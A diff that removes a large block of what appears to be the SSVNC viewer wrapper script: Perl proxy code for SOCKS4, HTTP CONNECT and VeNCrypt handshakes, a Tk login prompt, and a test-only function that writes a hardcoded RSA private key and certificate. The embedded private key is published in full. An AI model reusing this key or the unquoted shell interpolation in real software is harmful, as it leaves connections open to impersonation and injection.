- $con .= pack("C", 0);
- $con .= pack("C", 0);
- $con .= pack("C", 3);
- $SOCKS_4a = 1;
- }
-
- $con .= "nobody";
- $con .= pack("C", 0);
-
- $msg = "SOCKS4 via $cur_proxy to $h:$p\n\n";
- if ($SOCKS_4a) {
- $con .= $h;
- $con .= pack("C", 0);
- $msg =~ s/SOCKS4/SOCKS4a/;
- }
- print STDERR "proxy_request$w: $msg";
- syswrite($sock, $con, length($con));
-
- my $ok = 1;
- for (my $i = 0; $i < 8; $i++) {
- my $c;
- sysread($sock, $c, 1);
- my $s = unpack("C", $c);
- if ($i == 0) {
- $ok = 0 if $s != 0x0;
- } elsif ($i == 1) {
- $ok = 0 if $s != 0x5a;
- }
- }
- if (! $ok) {
- print STDERR "SOCKS4 failed.\n";
- close $sock;
- exit(1);
- }
- } elsif ($ENV{PPROXY_SOCKS} eq "0") {
- # hack for ipv6 "proxy", nothing to do, assume INET6 call worked.
- ;
- } elsif ($ENV{PPROXY_REPEATER} ne "") {
- my $rep = $ENV{PPROXY_REPEATER};
- print STDERR "repeater: $rep\n";
- $rep .= pack("x") x 250;
- syswrite($sock, $rep, 250);
-
- my $rfb = "";
-
- my $ok = 1;
- for (my $i = 0; $i < 12; $i++) {
- my $c;
- last if $ENV{PPROXY_GENERIC_REPEATER};
- sysread($sock, $c, 1);
- print STDERR $c;
- $rfb .= $c;
- }
- if ($rfb ne "" && $rfb !~ /^RFB 000\.000/) {
- $initial_data = $rfb;
- $rfb =~ s/\n//g;
- print STDERR "detected non-UltraVNC repeater; forwarding \"$rfb\"\nlength: ", length($initial_data), "\n";
- }
- } elsif ($ENV{PPROXY_VENCRYPT} ne "") {
- my $vencrypt = $ENV{PPROXY_VENCRYPT};
- vencrypt_dialog($vencrypt);
-
- } else {
- # Web Proxy:
- $con = "CONNECT $CONNECT HTTP/1.1\r\n";
- $con .= "Host: $CONNECT\r\n";
- $con .= "Connection: close\r\n\r\n";
- $msg = $con;
-
- print STDERR "proxy_request$w: via $cur_proxy:\n$msg";
- syswrite($sock, $con, length($con));
-
- my $rep = "";
- my $n = 0;
- while ($rep !~ /\r\n\r\n/ && $n < 30000) {
- my $c;
- sysread($sock, $c, 1);
- print STDERR $c;
- $rep .= $c;
- $n++;
- }
- if ($rep !~ m,HTTP/.* 200,) {
- print STDERR "HTTP CONNECT failed.\n";
- close $sock;
- exit(1);
- }
- }
-}
-
-sub vdie {
- append_handshake("done\n");
- close $sock;
- kill_proxy_pids();
- exit(1);
-}
-
-sub anontls_handshake {
- my ($vmode, $db) = @_;
-
- print STDERR "\nPPROXY: Doing ANONTLS Handshake\n";
-
- my $psec = pack("C", $rfbSecTypeAnonTls);
- syswrite($sock, $psec, 1);
-
- append_handshake("done\n");
-}
-
-sub vencrypt_handshake {
-
- my ($vmode, $db) = @_;
-
- print STDERR "\nPPROXY: Doing VeNCrypt Handshake\n";
-
- my $psec = pack("C", $rfbSecTypeVencrypt);
-
- if (exists $ENV{SSVNC_TEST_SEC_TYPE}) {
- my $fake = $ENV{SSVNC_TEST_SEC_TYPE};
- print STDERR "PPROXY: sending sec-type: $fake\n";
- $psec = pack("C", $fake);
- }
-
- syswrite($sock, $psec, 1);
-
- my $vmajor;
- my $vminor;
- sysread($sock, $vmajor, 1);
- sysread($sock, $vminor, 1);
-
- vdie if $vmajor eq "" || $vminor eq "";
-
- $vmajor = unpack("C", $vmajor);
- $vminor = unpack("C", $vminor);
- print STDERR "server vencrypt version $vmajor.$vminor\n" if $db;
-
- if (exists $ENV{SSVNC_TEST_SEC_TYPE}) {
- print STDERR "PPROXY: continuing on in test mode.\n";
- } else {
- vdie if $vmajor ne 0;
- vdie if $vminor < 2;
- }
-
- $vmajor = pack("C", 0);
- $vminor = pack("C", 2);
- append_handshake("subversion=0.2\n");
-
- syswrite($sock, $vmajor, 1);
- syswrite($sock, $vminor, 1);
-
- my $result;
- sysread($sock, $result, 1);
- print STDERR "result empty\n" if $db && $result eq "";
-
- vdie if $result eq "";
- $result = unpack("C", $result);
- print STDERR "result=$result\n" if $db;
-
- vdie if $result ne 0;
-
- my $nsubtypes;
- sysread($sock, $nsubtypes, 1);
-
- vdie if $nsubtypes eq "";
- $nsubtypes = unpack("C", $nsubtypes);
- print STDERR "nsubtypes=$nsubtypes\n" if $db;
-
- my %subtypes;
-
- for (my $i = 0; $i < $nsubtypes; $i++) {
- my $subtype = "";
- sysread($sock, $subtype, 4);
- vdie if length($subtype) != 4;
-
- # XXX fix 64bit.
- $subtype = unpack("N", $subtype);
- print STDERR "subtype: $subtype\n" if $db;
- $subtypes{$subtype} = 1;
- append_handshake("sst$i=$subtype\n");
- }
-
- my $subtype = 0;
- if (exists $subtypes{$rfbVencryptX509None}) {
- $subtype = $rfbVencryptX509None;
- print STDERR "selected rfbVencryptX509None\n" if $db;
- } elsif (exists $subtypes{$rfbVencryptX509Vnc}) {
- $subtype = $rfbVencryptX509Vnc;
- print STDERR "selected rfbVencryptX509Vnc\n" if $db;
- } elsif (exists $subtypes{$rfbVencryptX509Plain}) {
- $subtype = $rfbVencryptX509Plain;
- print STDERR "selected rfbVencryptX509Plain\n" if $db;
- } elsif (exists $subtypes{$rfbVencryptTlsNone}) {
- $subtype = $rfbVencryptTlsNone;
- print STDERR "selected rfbVencryptTlsNone\n" if $db;
- } elsif (exists $subtypes{$rfbVencryptTlsVnc}) {
- $subtype = $rfbVencryptTlsVnc;
- print STDERR "selected rfbVencryptTlsVnc\n" if $db;
- } elsif (exists $subtypes{$rfbVencryptTlsPlain}) {
- $subtype = $rfbVencryptTlsPlain;
- print STDERR "selected rfbVencryptTlsPlain\n" if $db;
- }
-
- if (exists $ENV{SSVNC_TEST_SEC_SUBTYPE}) {
- my $fake = $ENV{SSVNC_TEST_SEC_SUBTYPE};
- print STDERR "PPROXY: sending sec-subtype: $fake\n";
- $subtype = $fake;
- }
-
- append_handshake("subtype=$subtype\n");
-
- my $pst = pack("N", $subtype);
- syswrite($sock, $pst, 4);
-
- if (exists $ENV{SSVNC_TEST_SEC_SUBTYPE}) {
- print STDERR "PPROXY: continuing on in test mode.\n";
- } else {
- vdie if $subtype == 0;
- }
-
- my $ok;
- sysread($sock, $ok, 1);
- $ok = unpack("C", $ok);
- print STDERR "ok=$ok\n" if $db;
-
- append_handshake("done\n");
-
- vdie if $ok == 0;
-}
-
-sub vencrypt_dialog {
- my $vmode = shift;
- my $db = 0;
-
- $db = 1 if exists $ENV{SS_DEBUG};
- $db = 1 if exists $ENV{SSVNC_VENCRYPT_DEBUG};
-
- append_handshake("mode=$vmode\n");
-
- my $server_rfb = "";
- #syswrite($sock, $rep, 250);
- for (my $i = 0; $i < 12; $i++) {
- my $c;
- sysread($sock, $c, 1);
- $server_rfb .= $c;
- print STDERR $c;
- }
- print STDERR "server_rfb: $server_rfb\n" if $db;
- append_handshake("server=$server_rfb");
-
- my $minor = "";
- if ($server_rfb =~ /^RFB 003\.(\d+)/) {
- $minor = $1;
- } else {
- vdie;
- }
- my $viewer_rfb = "RFB 003.008\n";
- if ($minor < 7) {
- vdie;
- } elsif ($minor == 7) {
- $viewer_rfb = "RFB 003.007\n";
- }
- my $nsec;
- my $t1 = gettime();
- my $t0 = gettime();
-
- syswrite($sock, $viewer_rfb, 12);
- sysread($sock, $nsec, 1);
-
- $t1 = gettime();
- $t1 = sprintf("%.6f", $t1 - $t0);
-
- append_handshake("viewer=$viewer_rfb");
- append_handshake("latency=$t1\n");
-
- vdie if $nsec eq "";
-
- $nsec = unpack("C", $nsec);
-
- print STDERR "nsec: $nsec\n" if $db;
- vdie if $nsec eq 0 || $nsec > 100;
-
- my %sectypes = ();
-
- for (my $i = 0; $i < $nsec; $i++) {
- my $sec;
- sysread($sock, $sec, 1);
- vdie if $sec eq "";
- $sec = unpack("C", $sec);
- print STDERR "sec: $sec\n" if $db;
- $sectypes{$sec} = 1;
- }
-
- if (exists $sectypes{$rfbSecTypeVencrypt}) {
- print STDERR "found rfbSecTypeVencrypt\n" if $db;
- append_handshake("sectype=$rfbSecTypeVencrypt\n");
- vencrypt_handshake($vmode, $db);
- } elsif (exists $sectypes{$rfbSecTypeAnonTls}) {
- print STDERR "found rfbSecTypeAnonTls\n" if $db;
- append_handshake("sectype=$rfbSecTypeAnonTls\n");
- anontls_handshake($vmode, $db);
- } else {
- print STDERR "No supported sec-type found\n" if $db;
- vdie;
- }
-}
-
-sub append_handshake {
- my $str = shift;
- if ($handshake_file) {
- if (open(HSF, ">>$handshake_file")) {
- print HSF $str;
- close HSF;
- }
- }
-}
-
-sub do_vencrypt_viewer_bridge {
- my ($listen, $connect) = @_;
- print STDERR "\npproxy: starting vencrypt_viewer_bridge[$$]: $listen \-> $connect\n";
- my $db = 0;
- my $backwards = 0;
- if ($listen < 0) {
- $backwards = 1;
- $listen = -$listen;
- }
- if ($handshake_file eq "") {
- die "pproxy: vencrypt_viewer_bridge[$$]: no SSVNC_PREDIGESTED_HANDSHAKE\n";
- }
- my $listen_sock;
- my $maxtry = 12;
- my $sleep = 5;
- for (my $i=0; $i < $maxtry; $i++) {
- $listen_sock = IO::Socket::INET->new(
- Listen => 2,
- ReuseAddr => 1,
- LocalAddr => "127.0.0.1",
- LocalPort => $listen,
- Proto => "tcp"
- );
- if (! $listen_sock) {
- if ($i < $maxtry - 1) {
- warn "pproxy: vencrypt_viewer_bridge[$$]: $!\n";
- warn "Could not listen on port $listen, retrying in $sleep seconds... (Ctrl-C to quit)\n";
- sleep $sleep;
- }
- } else {
- last;
- }
- }
- if (! $listen_sock) {
- die "pproxy: vencrypt_viewer_bridge[$$]: $!\n";
- }
- print STDERR "pproxy: vencrypt_viewer_bridge[$$]: listening on port $listen\n\n";
- my ($viewer_sock, $ip) = $listen_sock->accept();
- my $err = $!;
- close $listen_sock;
- if (! $viewer_sock) {
- die "pproxy: vencrypt_viewer_bridge[$$]: $err\n";
- }
- if ($ENV{PPROXY_LOOP_THYSELF_MASTER}) {
- my $sml = $ENV{SSVNC_MULTIPLE_LISTEN};
- if ($sml ne "" && $sml ne "0") {
- setpgrp(0, 0);
- if (fork()) {
- close $viewer_sock;
- wait;
- exit 0;
- }
- if (fork()) {
- close $viewer_sock;
- exit 0;
- }
- setpgrp(0, 0);
- $parent = $$;
- }
- }
- print STDERR "vencrypt_viewer_bridge[$$]: viewer_sock $viewer_sock\n" if $db;
-
- print STDERR "pproxy: vencrypt_viewer_bridge[$$]: connecting to 127.0.0.1:$connect\n";
- my $server_sock = IO::Socket::INET->new(
- PeerAddr => "127.0.0.1",
- PeerPort => $connect,
- Proto => "tcp"
- );
- print STDERR "vencrypt_viewer_bridge[$$]: server_sock $server_sock\n" if $db;
- if (! $server_sock) {
- my $err = $!;
- die "pproxy: vencrypt_viewer_bridge[$$]: $err\n";
- }
-
- if ($backwards) {
- print STDERR "vencrypt_viewer_bridge[$$]: reversing roles of viewer and server.\n";
- my $t = $viewer_sock;
- $viewer_sock = $server_sock;
- $server_sock = $t;
- }
-
- my %hs = ();
- my $dt = 0.2;
- my $slept = 0.0;
- while ($slept < 20.0) {
- select(undef, undef, undef, $dt);
- $slept += $dt;
- if (-f $handshake_file && open(HSF, "<$handshake_file")) {
- my $done = 0;
- %hs = ();
- my $str = "";
- while (<HSF>) {
- print STDERR "vencrypt_viewer_bridge[$$]: $_" if $ENV{VENCRYPT_VIEWER_BRIDGE_DEBUG};
- $str .= "vencrypt_viewer_bridge[$$]: $_";
- chomp;
- if ($_ eq "done") {
- $done = 1;
- } else {
- my ($k, $v) = split(/=/, $_, 2);
- if ($k ne "" && $v ne "") {
- $hs{$k} = $v;
- }
- }
- }
- close HSF;
- if ($done) {
- print STDERR "\n" . $str;
- last;
- }
- }
- }
- if (! exists $hs{server}) {
- $hs{server} = "RFB 003.008";
- }
- if (! exists $hs{sectype}) {
- unlink($handshake_file);
- die "pproxy: vencrypt_viewer_bridge[$$]: no sectype.\n";
- }
- syswrite($viewer_sock, "$hs{server}\n", length($hs{server}) + 1);
- my $viewer_rfb = "";
- for (my $i = 0; $i < 12; $i++) {
- my $c;
- sysread($viewer_sock, $c, 1);
- $viewer_rfb .= $c;
- print STDERR $c;
- }
- my $viewer_major = 3;
- my $viewer_minor = 8;
- if ($viewer_rfb =~ /RFB (\d+)\.(\d+)/) {
- $viewer_major = $1;
- $viewer_minor = $2;
- }
- my $u0 = pack("C", 0);
- my $u1 = pack("C", 1);
- my $u2 = pack("C", 2);
- if ($hs{sectype} == $rfbSecTypeAnonTls) {
- unlink($handshake_file);
- print STDERR "\npproxy: vencrypt_viewer_bridge[$$]: rfbSecTypeAnonTls\n";
- if ($viewer_major > 3 || $viewer_minor >= 7) {
- ; # setup ok, proceed to xfer.
- } else {
- print STDERR "pproxy: vencrypt_viewer_bridge[$$]: faking RFB version 3.3 to viewer.\n";
- my $n;
- sysread($server_sock, $n, 1);
- $n = unpack("C", $n);
- if ($n == 0) {
- die "pproxy: vencrypt_viewer_bridge[$$]: nsectypes == $n.\n";
- }
- my %types;
- for (my $i = 0; $i < $n; $i++) {
- my $t;
- sysread($server_sock, $t, 1);
- $t = unpack("C", $t);
- $types{$t} = 1;
- }
- my $use = 1; # None
- if (exists $types{1}) {
- $use = 1; # None
- } elsif (exists $types{2}) {
- $use = 2; # VncAuth
- } else {
- die "pproxy: vencrypt_viewer_bridge[$$]: no valid sectypes" . join(",", keys %types) . "\n";
- }
-
- # send 4 bytes sectype to viewer:
- # (note this should be MSB, network byte order...)
- my $up = pack("C", $use);
- syswrite($viewer_sock, $u0, 1);
- syswrite($viewer_sock, $u0, 1);
- syswrite($viewer_sock, $u0, 1);
- syswrite($viewer_sock, $up, 1);
- # and tell server the one we selected:
- syswrite($server_sock, $up, 1);
- if ($use == 1) {
- # even None has security result, so read it here and discard it.
- my $sr = "";
- sysread($server_sock, $sr, 4);
- }
- }
- } elsif ($hs{sectype} == $rfbSecTypeVencrypt) {
- print STDERR "\npproxy: vencrypt_viewer_bridge[$$]: rfbSecTypeVencrypt\n";
- if (! exists $hs{subtype}) {
- unlink($handshake_file);
- die "pproxy: vencrypt_viewer_bridge[$$]: no subtype.\n";
- }
- my $fake_type = "None";
- my $plain = 0;
- my $sub_type = $hs{subtype};
- if ($sub_type == $rfbVencryptTlsNone) {
- $fake_type = "None";
- } elsif ($sub_type == $rfbVencryptTlsVnc) {
- $fake_type = "VncAuth";
- } elsif ($sub_type == $rfbVencryptTlsPlain) {
- $fake_type = "None";
- $plain = 1;
- } elsif ($sub_type == $rfbVencryptX509None) {
- $fake_type = "None";
- } elsif ($sub_type == $rfbVencryptX509Vnc) {
- $fake_type = "VncAuth";
- } elsif ($sub_type == $rfbVencryptX509Plain) {
- $fake_type = "None";
- $plain = 1;
- }
- if ($plain) {
- if (!open(W, ">$handshake_file")) {
- unlink($handshake_file);
- die "pproxy: vencrypt_viewer_bridge[$$]: $handshake_file $!\n";
- }
- print W <<"END";
-
- proc print_out {} {
- global user pass env
-
- if [info exists env(SSVNC_UP_DEBUG)] {
- toplevel .b
- button .b.b -text "user=\$user pass=\$pass" -command {destroy .b}
- pack .b.b
- update
- tkwait window .b
- }
-
- if [info exists env(SSVNC_UP_FILE)] {
- set fh ""
- catch {set fh [open \$env(SSVNC_UP_FILE) w]}
- if {\$fh != ""} {
- puts \$fh user=\$user\\npass=\$pass
- flush \$fh
- close \$fh
- return
- }
- }
- puts stdout user=\$user\\npass=\$pass
- flush stdout
- }
-
- proc center_win {w} {
- update
- set W [winfo screenwidth \$w]
- set W [expr \$W + 1]
- wm geometry \$w +\$W+0
- update
- set x [expr [winfo screenwidth \$w]/2 - [winfo width \$w]/2]
- set y [expr [winfo screenheight \$w]/2 - [winfo height \$w]/2]
-
- wm geometry \$w +\$x+\$y
- wm deiconify \$w
- update
- }
-
- wm withdraw .
-
- global env
- set up {}
- if [info exists env(SSVNC_UNIXPW)] {
- set rm 0
- set up \$env(SSVNC_UNIXPW)
- if [regexp {^rm:} \$up] {
- set rm 1
- regsub {^rm:} \$up {} up
- }
- if [file exists \$up] {
- set fh ""
- set f \$up
- catch {set fh [open \$up r]}
- if {\$fh != ""} {
- gets \$fh u
- gets \$fh p
- close \$fh
- set up "\$u@\$p"
- }
- if {\$rm} {
- catch {file delete \$f}
- }
- }
- } elseif [info exists env(SSVNC_VENCRYPT_USERPASS)] {
- set up \$env(SSVNC_VENCRYPT_USERPASS)
- }
- #puts stderr up=\$up
- if {\$up != ""} {
- if [regexp {@} \$up] {
- global user pass
- set user \$up
- set pass \$up
- regsub {@.*\$} \$user "" user
- regsub {^[^@]*@} \$pass "" pass
- print_out
- exit
- }
- }
-
- wm title . {VeNCrypt Viewer Bridge User/Pass}
-
- set user {}
- set pass {}
-
- label .l -text {SSVNC VeNCrypt Viewer Bridge}
-
- frame .f0
- frame .f0.fL
- label .f0.fL.la -text {Username: }
- label .f0.fL.lb -text {Password: }
-
- pack .f0.fL.la .f0.fL.lb -side top
-
- frame .f0.fR
- entry .f0.fR.ea -width 24 -textvariable user
- entry .f0.fR.eb -width 24 -textvariable pass -show *
-
- pack .f0.fR.ea .f0.fR.eb -side top -fill x
-
- pack .f0.fL -side left
- pack .f0.fR -side right -expand 1 -fill x
-
- button .no -text Cancel -command {destroy .}
- button .ok -text Done -command {print_out; destroy .}
-
- center_win .
- pack .l .f0 .no .ok -side top -fill x
- update
- wm deiconify .
-
- bind .f0.fR.ea <Return> {focus .f0.fR.eb}
- bind .f0.fR.eb <Return> {print_out; destroy .}
- focus .f0.fR.ea
-
- wm resizable . 1 0
- wm minsize . [winfo reqwidth .] [winfo reqheight .]
-END
- close W;
-
- #system("cat $handshake_file");
- my $w = "wish";
- if ($ENV{WISH}) {
- $w = $ENV{WISH};
- }
- print STDERR "pproxy: vencrypt_viewer_bridge[$$]: prompt VencryptPlain user and passwd.\n";
- my $res = "";
- if (`uname` =~ /Darwin/) {
- my $mtmp = `mktemp /tmp/hsup.XXXXXX`;
- chomp $mtmp;
- system("env SSVNC_UP_FILE=$mtmp $w $handshake_file");
- $res = `cat $mtmp`;
- unlink $mtmp;
- } else {
- $res = `$w $handshake_file`;
- }
- my $user = "";
- my $pass = "";
- if ($res =~ /user=(\S*)/) {
- $user = $1;
- }
- if ($res =~ /pass=(\S*)/) {
- $pass = $1;
- }
- print STDERR "pproxy: vencrypt_viewer_bridge[$$]: sending VencryptPlain user and passwd.\n";
- my $ulen = pack("C", length($user));
- my $plen = pack("C", length($pass));
- # (note this should be MSB, network byte order...)
- syswrite($server_sock, $u0, 1);
- syswrite($server_sock, $u0, 1);
- syswrite($server_sock, $u0, 1);
- syswrite($server_sock, $ulen, 1);
- syswrite($server_sock, $u0, 1);
- syswrite($server_sock, $u0, 1);
- syswrite($server_sock, $u0, 1);
- syswrite($server_sock, $plen, 1);
- syswrite($server_sock, $user, length($user));
- syswrite($server_sock, $pass, length($pass));
- }
- unlink($handshake_file);
-
- my $ft = 0;
- if ($fake_type eq "None") {
- $ft = 1;
- } elsif ($fake_type eq "VncAuth") {
- $ft = 2;
- } else {
- die "pproxy: vencrypt_viewer_bridge[$$]: unknown fake type: $fake_type\n";
- }
- my $fp = pack("C", $ft);
- if ($viewer_major > 3 || $viewer_minor >= 7) {
- syswrite($viewer_sock, $u1, 1);
- syswrite($viewer_sock, $fp, 1);
- my $cr;
- sysread($viewer_sock, $cr, 1);
- $cr = unpack("C", $cr);
- if ($cr != $ft) {
- die "pproxy: vencrypt_viewer_bridge[$$]: client selected wrong type: $cr / $ft\n";
- }
- } else {
- print STDERR "pproxy: vencrypt_viewer_bridge[$$]: faking RFB version 3.3 to viewer.\n";
- # send 4 bytes sect type to viewer:
- # (note this should be MSB, network byte order...)
- syswrite($viewer_sock, $u0, 1);
- syswrite($viewer_sock, $u0, 1);
- syswrite($viewer_sock, $u0, 1);
- syswrite($viewer_sock, $fp, 1);
- if ($ft == 1) {
- # even None has security result, so read it here and discard it.
- my $sr = "";
- sysread($server_sock, $sr, 4);
- }
- }
- }
-
- $listen_handle = $viewer_sock;
- $sock = $server_sock;
-
- xfer_both();
-}
-'
- # '
- # xpg_echo will expand \n \r, etc.
- # try to unset and then test for it.
- if type shopt > /dev/null 2>&1; then
- shopt -u xpg_echo >/dev/null 2>&1
- fi
- v='print STDOUT "abc\n";'
- echo "$v" > $tf
- chmod 700 $tf
-
- lc=`wc -l $tf | awk '{print $1}'`
- if [ "X$lc" = "X1" ]; then
- echo "$cod" > $tf
- else
- printf "%s" "$cod" > $tf
- echo "" >> $tf
- fi
- # prime perl
- perl -e 'use IO::Socket::INET; select(undef, undef, undef, 0.01)' >/dev/null 2>&1
-}
-
-# make_tcert is no longer invoked via the ssvnc gui (Listen mode).
-# make_tcert is for testing only now via -mycert BUILTIN
-make_tcert() {
- tcert="/tmp/ss_vnc_viewer_tcert${RANDOM}.$$"
- tcert=`mytmp "$tcert"`
- cat > $tcert <<END
------BEGIN RSA PRIVATE KEY-----
-MIIEowIBAAKCAQEAvkfXxb0wcxgrjV2ziFikjII+ze8iKcTBt47L0GM/c21efelN
-+zZpJUUXLu4zz8Ryq8Q+sQgfNy7uTOpN9bUUaOk1TnD7gaDQnQWiNHmqbW2kL+DS
-OKngJVPo9dETAS8hf7+D1e1DBZxjTc1a4RQqWJixwpYj99ixWzu8VC2m/xXsjvOs
-jp4+DLBB490nbkwvstmhmiWm1CmI5O5xOkgioVNQqHvQMdVKOSz9PpbjvZiRX1Uo
-qoMrk+2NOqwP90TB35yPASXb9zXKpO7DLhkube+yYGf+yk46aD707L07Eb7cosFP
-S84vNZ9gX7rQ0UOwm5rYA/oZTBskgaqhtIzkLwIDAQABAoIBAD4ot/sXt5kRn0Ca
-CIkU9AQWlC+v28grR2EQW9JiaZrqcoDNUzUqbCTJsi4ZkIFh2lf0TsqELbZYNW6Y
-6AjJM7al4E0UqYSKJTv2WCuuRxdiRs2BMwthqyBmjeanev7bB6V0ybt7u3Y8xU/o
-MrTuYnr4vrEjXPKdLirwk7AoDbKsRXHSIiHEIBOq1+dUQ32t36ukdnnza4wKDLZc
-PKHiCdCk/wOGhuDlxD6RspqUAlRnJ8/aEhrgWxadFXw1hRhRsf/v1shtB0T3DmTe
-Jchjwyiw9mryb9JZAcKxW+fUc4EVvj6VdQGqYInQJY5Yxm5JAlVQUJicuuJEvn6A
-rj5osQECgYEA552CaHpUiFlB4HGkjaH00kL+f0+gRF4PANCPk6X3UPDVYzKnzmuu
-yDvIdEETGFWBwoztUrOOKqVvPEQ+kBa2+DWWYaERZLtg2cI5byfDJxQ3ldzilS3J
-1S3WgCojqcsG/hlxoQJ1dZFanUy/QhUZ0B+wlC+Zp1Q8AyuGQvhHp68CgYEA0lBI
-eqq2GGCdJuNHMPFbi8Q0BnX55LW5C1hWjhuYiEkb3hOaIJuJrqvayBlhcQa2cGqp
-uP34e9UCfoeLgmoCQ0b4KpL2NGov/mL4i8bMgog4hcoYuIi3qxN18vVR14VKEh4U
-RLk0igAYPU+IK2QByaQlBo9OSaKkcfm7U1/pK4ECgYAxr6VpGk0GDvfF2Tsusv6d
-GIgV8ZP09qSLTTJvvxvF/lQYeqZq7sjI5aJD5i3de4JhpO/IXQJzfZfWOuGc8XKA
-3qYK/Y2IqXXGYRcHFGWV/Y1LFd55mCADHlk0l1WdOBOg8P5iRu/Br9PbiLpCx9oI
-vrOXpnp03eod1/luZmqguwKBgQCWFRSj9Q7ddpSvG6HCG3ro0qsNsUMTI1tZ7UBX
-SPogx4tLf1GN03D9ZUZLZVFUByZKMtPLX/Hi7K9K/A9ikaPrvsl6GEX6QYzeTGJx
-3Pw0amFrmDzr8ySewNR6/PXahxPEuhJcuI31rPufRRI3ZLah3rFNbRbBFX+klkJH
-zTnoAQKBgDbUK/aQFGduSy7WUT7LlM3UlGxJ2sA90TQh4JRQwzur0ACN5GdYZkqM
-YBts4sBJVwwJoxD9OpbvKu3uKCt41BSj0/KyoBzjT44S2io2tj1syujtlVUsyyBy
-/ca0A7WBB8lD1D7QMIhYUm2O9kYtSCLlUTHt5leqGaRG38DqlX36
------END RSA PRIVATE KEY-----
------BEGIN CERTIFICATE-----
-MIIDzDCCArQCCQDSzxzxqhyqLzANBgkqhkiG9w0BAQQFADCBpzELMAkGA1UEBhMC
-VVMxFjAUBgNVBAgTDU1hc3NhY2h1c2V0dHMxDzANBgNVBAcTBkJvc3RvbjETMBEG
-A1UEChMKTXkgQ29tcGFueTEcMBoGA1UECxMTUHJvZHVjdCBEZXZlbG9wbWVudDEZ
-MBcGA1UEAxMQd3d3Lm5vd2hlcmUubm9uZTEhMB8GCSqGSIb3DQEJARYSYWRtaW5A
-bm93aGVyZS5ub25lMB4XDTA3MDMyMzE4MDc0NVoXDTI2MDUyMjE4MDc0NVowgacx
-CzAJBgNVBAYTAlVTMRYwFAYDVQQIEw1NYXNzYWNodXNldHRzMQ8wDQYDVQQHEwZC
-b3N0b24xEzARBgNVBAoTCk15IENvbXBhbnkxHDAaBgNVBAsTE1Byb2R1Y3QgRGV2
-ZWxvcG1lbnQxGTAXBgNVBAMTEHd3dy5ub3doZXJlLm5vbmUxITAfBgkqhkiG9w0B
-CQEWEmFkbWluQG5vd2hlcmUubm9uZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
-AQoCggEBAL5H18W9MHMYK41ds4hYpIyCPs3vIinEwbeOy9BjP3NtXn3pTfs2aSVF
-Fy7uM8/EcqvEPrEIHzcu7kzqTfW1FGjpNU5w+4Gg0J0FojR5qm1tpC/g0jip4CVT
-6PXREwEvIX+/g9XtQwWcY03NWuEUKliYscKWI/fYsVs7vFQtpv8V7I7zrI6ePgyw
-QePdJ25ML7LZoZolptQpiOTucTpIIqFTUKh70DHVSjks/T6W472YkV9VKKqDK5Pt
-jTqsD/dEwd+cjwEl2/c1yqTuwy4ZLm3vsmBn/spOOmg+9Oy9OxG+3KLBT0vOLzWf
-YF+60NFDsJua2AP6GUwbJIGqobSM5C8CAwEAATANBgkqhkiG9w0BAQQFAAOCAQEA
-vGomHEp6TVU83X2EBUgnbOhzKJ9u3fOI/Uf5L7p//Vxqow7OR1cguzh/YEzmXOIL
-ilMVnzX9nj/bvcLAuqEP7MR1A8f4+E807p/L/Sf49BiCcwQq5I966sGKYXjkve+T
-2GTBNwMSq+5kLSf6QY8VZI+qnrAudEQMeJByQhTZZ0dH8Njeq8EGl9KUio+VWaiW
-CQK6xJuAvAHqa06OjLmwu1fYD4GLGSrOIiRVkSXV8qLIUmzxdJaIRznkFWsrCEKR
-wAH966SAOvd2s6yOHMvyDRIL7WHxfESB6rDHsdIW/yny1fBePjv473KrxyXtbz7I
-dMw1yW09l+eEo4A7GzwOdw==
------END CERTIFICATE-----
-END
- chmod 600 $tcert
- echo "$tcert"
-}
-
-Kecho() {
- NO_KECHO=1
- if [ "X$USER" = "Xrunge" -a "X$NO_KECHO" = "X" ]; then
- echo "dbg: $*"
- fi
-}
-
-NHAFL_warning() {
- echo ""
- echo "** Warning: For the proxy: $proxy"
- echo "** Warning: the ssh(1) option: $ssh_NHAFL"
- echo "** Warning: will be used to avoid frequent 'ssh key has changed for localhost'"
- echo "** Warning: dialogs and connection failures (for example, ssh will exit asking"
- echo "** Warning: you to manually remove a key from ~/.ssh/known_hosts.)"
- echo "** Warning: "
- echo "** Warning: This decreases security: a Man-In-The-Middle attack is possible."
- echo "** Warning: For chained ssh connections the first ssh leg is secure but the"
- echo "** Warning: 2nd ssh leg is vulnerable. For an ssh connection going through"
- echo "** Warning: a HTTP or SOCKS proxy the ssh connection is vulnerable."
- echo "** Warning: "
- echo "** Warning: You can set the SSVNC_SSH_LOCALHOST_AUTH=1 env. var. to disable"
- echo "** Warning: using the NoHostAuthenticationForLocalhost=yes ssh option."
- echo "** Warning: "
- echo "** Warning: A better solution is to configure (in the SSVNC GUI) the setting:"
- echo "** Warning: 'Options -> Advanced -> Private SSH KnownHosts file' (or set"
- echo "** Warning: SSVNC_KNOWN_HOSTS_FILE directly) to a per-connection known hosts"
- echo "** Warning: file. That file holds the 'localhost' cert for this specific"
- echo "** Warning: connection. This yields a both secure and convenient solution."
- echo ""
-}
-
-space_expand() {
- str=`echo "$1" | sed -e 's/%SPACE/ /g' -e 's/%TAB/\t/g'`
- echo "$str"
-}
-
-# handle ssh case:
-#
-if [ "X$use_ssh" = "X1" ]; then
- #
- # USING SSH
- #
- ssh_port="22"
- ssh_host="$host"
- vnc_host="$localhost"
- ssh_UKHF=""
- localhost_extra=""
- # let user override ssh via $SSH
- ssh=${SSH:-"ssh -x"}
-
- sshword=`echo "$ssh" | awk '{print $1}'`
- if [ "X$sshword" != "X" ]; then
- if [ -x "$sshword" ]; then
- :
- elif type "$sshword" > /dev/null 2>&1; then
- :
- else
- echo ""
- echo "*********************************************************"
- echo "** Problem finding the SSH command '$sshword': **"
- echo ""
- type "$sshword"
- echo ""
- echo "** Perhaps you need to install the SSH client package. **"
- echo "*********************************************************"
- echo ""
- sleep 5
- fi
- fi
-
- ssh_NHAFL="-o NoHostAuthenticationForLocalhost=yes"
- if [ "X$SSVNC_SSH_LOCALHOST_AUTH" = "X1" ]; then
- ssh_NHAFL=""
- fi
- if [ "X$SSVNC_KNOWN_HOSTS_FILE" != "X" ]; then
- ssh_NHAFL=""
-
- ssh_UKHF="-o UserKnownHostsFile=$SSVNC_KNOWN_HOSTS_FILE"
- ssh_args="$ssh_args $ssh_UKHF"
- if [ ! -f "$SSVNC_KNOWN_HOSTS_FILE" ]; then
- touch "$SSVNC_KNOWN_HOSTS_FILE" >/dev/null 2>&1
- fi
- chmod 600 "$SSVNC_KNOWN_HOSTS_FILE" >/dev/null 2>&1
- fi
- did_ssh_NHAFL=""
-
